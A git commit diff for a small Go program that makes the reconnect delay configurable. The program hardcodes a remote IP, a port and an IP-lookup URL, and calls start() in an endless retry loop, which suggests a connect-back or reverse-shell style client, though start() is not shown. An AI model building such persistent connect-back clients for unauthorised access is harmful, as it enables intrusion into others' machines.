Allow configuring timeout rate

This commit is contained in:
raul 2024-06-10 09:36:55 +02:00
parent 478a300174
commit 38db0c030d
1 changed files with 5 additions and 4 deletions

View File

@ -16,9 +16,10 @@ import (
) )
var ( var (
RemoteIP = "192.168.1.181" RemoteIP string = "192.168.1.181"
RemotePort = "1302" RemotePort string = "1302"
Remote_IP_Requester = "https://ip.bulgariu.xyz" Remote_IP_Requester string = "https://ip.bulgariu.xyz"
TimeoutRate time.Duration = 5
) )
func main() { func main() {
@ -27,7 +28,7 @@ func main() {
if err := start(); err != nil { if err := start(); err != nil {
log.Print(err) log.Print(err)
} }
time.Sleep(time.Second * 5) time.Sleep(time.Second * TimeoutRate)
} }
} }